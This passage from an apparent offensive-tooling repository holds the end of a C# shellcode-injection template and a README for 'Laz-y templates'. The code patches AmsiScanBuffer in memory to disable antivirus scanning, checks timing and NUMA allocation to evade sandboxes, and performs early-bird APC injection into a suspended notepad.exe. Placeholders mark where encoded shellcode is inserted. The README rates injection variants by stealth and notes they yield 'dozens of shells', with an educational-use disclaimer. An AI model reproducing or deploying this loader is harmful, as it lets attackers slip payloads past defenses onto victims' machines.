[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)] 98 | static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 99 | 100 | [DllImport("kernel32.dll")] 101 | static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 102 | 103 | [DllImport("kernel32.dll", SetLastError = true)] 104 | public static extern Int32 QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); 105 | 106 | [DllImport("kernel32.dll", SetLastError = true)] 107 | static extern uint ResumeThread(IntPtr hThread); 108 | 109 | static void cleaning() 110 | { 111 | // all credits to https://rastamouse.me/memory-patching-amsi-bypass/ 112 | var modules = Process.GetCurrentProcess().Modules; 113 | var hAmsi = IntPtr.Zero; 114 | 115 | foreach (ProcessModule module in modules) 116 | { 117 | if (module.ModuleName == "amsi.dll") 118 | { 119 | hAmsi = module.BaseAddress; 120 | Console.WriteLine("Found isma"); 121 | break; 122 | } 123 | } 124 | if (hAmsi == IntPtr.Zero) 125 | { 126 | return; 127 | } 128 | else 129 | { 130 | var asb = GetProcAddress(hAmsi, "AmsiScanBuffer"); 131 | var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 132 | 133 | VirtualProtect(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect); 134 | 135 | Marshal.Copy(garbage, 0, asb, garbage.Length); 136 | 137 | VirtualProtect(asb, (UIntPtr)garbage.Length, oldProtect, out uint _); 138 | 139 | Console.WriteLine("Patched"); 140 | } 141 | } 142 | 143 | static void enhance(byte[] buf, string host) 144 | { 145 | // thanks to https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection 146 | 147 | STARTUPINFO si = new STARTUPINFO(); 148 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 149 | 150 | SECURITY_ATTRIBUTES lpSecurityAttributes = new SECURITY_ATTRIBUTES(); 151 | 152 | bool result = CreateProcess(null, host, ref lpSecurityAttributes, ref lpSecurityAttributes, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi); 153 | 154 | if (result) 155 | { 156 | Console.WriteLine("Process created with PID: {0}", pi.dwProcessId); 157 | } 158 | else 159 | { 160 | Console.WriteLine("There was a problem creating the process."); 161 | System.Environment.Exit(1); 162 | } 163 | 164 | IntPtr tProcess = pi.hProcess; 165 | IntPtr tHandle = pi.hThread; 166 | 167 | IntPtr resultPtr = VirtualAllocEx(tProcess, IntPtr.Zero, (uint)buf.Length, MEM_COMMIT, PAGE_READWRITE); 168 | IntPtr bytesWritten = IntPtr.Zero; 169 | bool resultBool = WriteProcessMemory(tProcess, resultPtr, buf, buf.Length, out bytesWritten); 170 | VirtualProtectEx(tProcess, resultPtr, (UIntPtr)buf.Length, PAGE_EXECUTE_READ, out _); 171 | QueueUserAPC(resultPtr, tHandle, IntPtr.Zero); 172 | ResumeThread(tHandle); 173 | 174 | } 175 | 176 | static bool buy_in() 177 | { 178 | DateTime t1 = DateTime.Now; 179 | Sleep(2000); 180 | double t2 = DateTime.Now.Subtract(t1).TotalSeconds; 181 | if (t2 < 1.5) 182 | { 183 | return false; 184 | } 185 | 186 | IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0); 187 | if (mem == null) 188 | { 189 | return false; 190 | } 191 | 192 | return true; 193 | } 194 | 195 | static void Main(string[] args) 196 | { 197 | string host = "C:\\Windows\\System32\\notepad.exe"; 198 | 199 | !!!_SHELLCODE_MARK!!! 200 | 201 | bool result = buy_in(); 202 | if (!result) 203 | { 204 | Console.WriteLine("Architecture is not compatible"); 205 | System.Environment.Exit(1); 206 | } 207 | 208 | cleaning(); 209 | 210 | !!!DECODE_ROUTINE!!! 211 | 212 | enhance(buf, host); 213 | } 214 | } 215 | } 216 | 217 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Laz-y templates 2 | Laz-y project compatible C# templates for shellcode injection. These templates only make sense when used with https://github.com/Nariod/laz-y. 3 | 4 | | Name | Technique | Arch compilation | OPSEC consideration | Comment | 5 | | --- | --- | --- | --- | --- | 6 | | bayraktar | QueueUserAPC injection | Any | Not stealthy at all | Injects shellcode by APC in all threads of all processes. You will likely end up with dozens of shells. | 7 | | earlybird | QueueUserAPC injection | Any | Quite stealthy | Starts a process in suspended mode, inject shellcode by APC and resume process. | 8 | | apcqueue | QueueUserAPC injection | Any | Stealthy | Inject shellcode by APC in threads of a few common running processes. | 9 | 10 | ## Usage 11 | Add the wanted templates to the [laz-y](https://github.com/Nariod/laz-y) project "templates" folder. 12 | 13 | ## Credits 14 | Credits are given in each file for the corresponding code. Special thanks to: 15 | * Stackoverflow 16 | * https://www.ired.team/ 17 | * https://github.com/FatCyclone/D-Pwn 18 | 19 | ## Legal disclaimer 20 | Usage of anything presented in this repo to attack targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes. --------------------------------------------------------------------------------